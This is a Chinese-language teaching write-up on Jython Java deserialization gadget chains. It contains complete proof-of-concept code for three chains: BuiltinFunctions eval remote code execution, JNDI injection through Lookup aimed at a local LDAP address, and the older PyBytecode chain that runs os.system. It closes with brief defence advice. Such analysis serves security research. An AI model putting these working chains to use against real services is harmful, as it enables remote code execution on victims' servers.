Jython Gadgets Chain 利用分析
字数 903 2025-08-06 08:35:32
Jython Gadgets Chain 利用分析教学文档
1. 漏洞背景
本教学文档分析基于Jython的反序列化漏洞利用链,涉及两个主要利用点:
org.python.core.BuiltinFunctions的RCE利用com.ziclix.python.sql.connect.Lookup的JNDI注入利用
2. 环境准备
2.1 依赖配置
<dependency>
<groupId>org.python</groupId>
<artifactId>jython-standalone</artifactId>
<version>2.7.2</version>
</dependency>
3. BuiltinFunctions RCE利用分析
3.1 利用链调用栈
java.io.ObjectInputStream.readObject
java.util.PriorityQueue.readObject
java.util.PriorityQueue.heapify
java.util.PriorityQueue.siftDownUsingComparator
com.sun.proxy.$Proxy4.compare
org.python.core.PyMethod.invoke
org.python.core.PyMethod.__call__
org.python.core.PyMethod.instancemethod___call__
org.python.core.PyObject.__call__
org.python.core.PyBuiltinFunctionNarrow.__call__
org.python.core.BuiltinFunctions.__call__
org.python.core.__builtin__.eval
org.python.core.Py.runCode
3.2 关键点分析
- 入口点:
org.python.core.PyMethod继承InvocationHandler,可用作代理类 - 触发条件:
BuiltinFunctions的index必须设置为18才能触发eval方法 - 绕过检查:
pymethod的im_classtype 必须匹配pyargs指定的type
3.3 完整PoC代码
package org.example;
import org.python.core.*;
import sun.misc.Unsafe;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.util.Comparator;
import java.util.HashMap;
import java.util.PriorityQueue;
public class Main {
public static void main(String[] args) throws Exception {
Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) unsafeField.get(null);
PyMethod pyMethod = (PyMethod) unsafe.allocateInstance(PyMethod.class);
PyObject builtinFunctions = (PyObject) unsafe.allocateInstance(Class.forName("org.python.core.BuiltinFunctions"));
Field index = builtinFunctions.getClass().getSuperclass().getDeclaredField("index");
index.setAccessible(true);
index.set(builtinFunctions, 18);
pyMethod.__func__ = builtinFunctions;
pyMethod.im_class = new PyString().getType();
HashMap<Object, PyObject> _args = new HashMap<>();
_args.put("rs", new PyString("print('Hello World')"));
//_args.put("rs", new PyString("import os;\nos.system('open -a /System/Applications/Calculator.app')"));
PyStringMap locals = new PyStringMap(_args);
Object[] queue = new Object[] {
new PyString("__import__('code').InteractiveInterpreter().runcode(rs)')"),
locals,
};
Comparator o = (Comparator) Proxy.newProxyInstance(Main.class.getClassLoader(),
new Class[]{Comparator.class},
pyMethod);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, o);
Field f = priorityQueue.getClass().getDeclaredField("queue");
f.setAccessible(true);
f.set(priorityQueue, queue);
Field f2 = priorityQueue.getClass().getDeclaredField("size");
f2.setAccessible(true);
f2.set(priorityQueue, 2);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(priorityQueue);
byte[] bytes = byteArrayOutputStream.toByteArray();
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
}
4. Lookup JNDI注入利用分析
4.1 利用链调用栈
java.io.ObjectInputStream.readObject
java.util.PriorityQueue.readObject
java.util.PriorityQueue.heapify
java.util.PriorityQueue.siftDownUsingComparator
com.sun.proxy.$Proxy4.compare
org.python.core.PyMethod.invoke
org.python.core.PyMethod.__call__
org.python.core.PyMethod.instancemethod___call__
org.python.core.PyObject.__call__
com.ziclix.python.sql.connect.Lookup.__call__
4.2 关键点分析
- 利用
com.ziclix.python.sql.connect.Lookup#__call__方法 - 第一个参数会被解析为JNDI名称并传入
lookup方法
4.3 完整PoC代码
package org.example;
import org.python.core.PyMethod;
import org.python.core.PyString;
import sun.misc.Unsafe;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.util.Comparator;
import java.util.PriorityQueue;
public class Lookup {
public static void main(String[] args) throws Exception{
Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) unsafeField.get(null);
PyMethod pyMethod = (PyMethod) unsafe.allocateInstance(PyMethod.class);
pyMethod.__func__ = new com.ziclix.python.sql.connect.Lookup();
pyMethod.im_class = new PyString().getType();
Comparator c = (Comparator) Proxy.newProxyInstance(
Lookup.class.getClassLoader(),
new Class[]{Comparator.class},
pyMethod
);
PriorityQueue priorityQueue = new PriorityQueue(2, c);
Object [] queue = new Object[]{
new PyString("ldap://127.0.0.1:1389"),
1
};
Field f = priorityQueue.getClass().getDeclaredField("queue");
f.setAccessible(true);
f.set(priorityQueue, queue);
Field f2 = priorityQueue.getClass().getDeclaredField("size");
f2.setAccessible(true);
f2.set(priorityQueue, 2);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(priorityQueue);
byte[] bytes = byteArrayOutputStream.toByteArray();
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
}
5. ysoserial中的Jython利用链分析
适用于Jython <=2.5.2版本,利用Python字节码执行命令。
5.1 关键点
- 低版本PyFunction没有重写readResolve方法,不会抛出异常
- 使用PyBytecode构建字节码并执行
5.2 Python字节码分析
使用python -m dis命令分析字节码:
LOAD_CONST 0
LOAD_CONST 1
IMPORT_NAME 0
5.3 完整PoC代码
package org.example;
import org.python.core.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.math.BigInteger;
import java.util.Comparator;
import java.util.PriorityQueue;
public class Jython {
public static void main(String[] args) throws Exception {
String path = "/Users/Downloads/123.py";
String code = "import os\nos.system('open -a Calculator.app')";
String pythonByteCode = "7400006401006402008302007D00007C0000690100640300830100017C0000690200830000017403006401008301000164000053";
PyObject[] consts = new PyObject[]{new PyString(""), new PyString(path), new PyString("w+"), new PyString(code)};
String[] names = new String[]{"open", "write", "close", "execfile"};
PyBytecode bytecode = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{"", ""}, "noname", "<module>", 0, "");
Field field = PyBytecode.class.getDeclaredField("co_code");
field.setAccessible(true);
field.set(bytecode, new BigInteger(pythonByteCode, 16).toByteArray());
PyFunction handler = new PyFunction(new PyStringMap(), null, bytecode);
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[]{path, code};
Field queueField = PriorityQueue.class.getDeclaredField("queue");
queueField.setAccessible(true);
queueField.set(priorityQueue, queue);
Field sizeField = PriorityQueue.class.getDeclaredField("size");
sizeField.setAccessible(true);
sizeField.set(priorityQueue, 2);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(priorityQueue);
byte[] bytes = byteArrayOutputStream.toByteArray();
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
}
6. 防御建议
- 升级Jython到最新版本
- 限制反序列化操作,使用白名单机制
- 监控和限制JNDI查找操作
- 对Python代码执行进行严格的权限控制
7. 总结
本教学文档详细分析了基于Jython的两种反序列化利用链,包括RCE和JNDI注入方式,并提供了完整的PoC代码。理解这些利用链有助于安全研究人员更好地防御此类漏洞。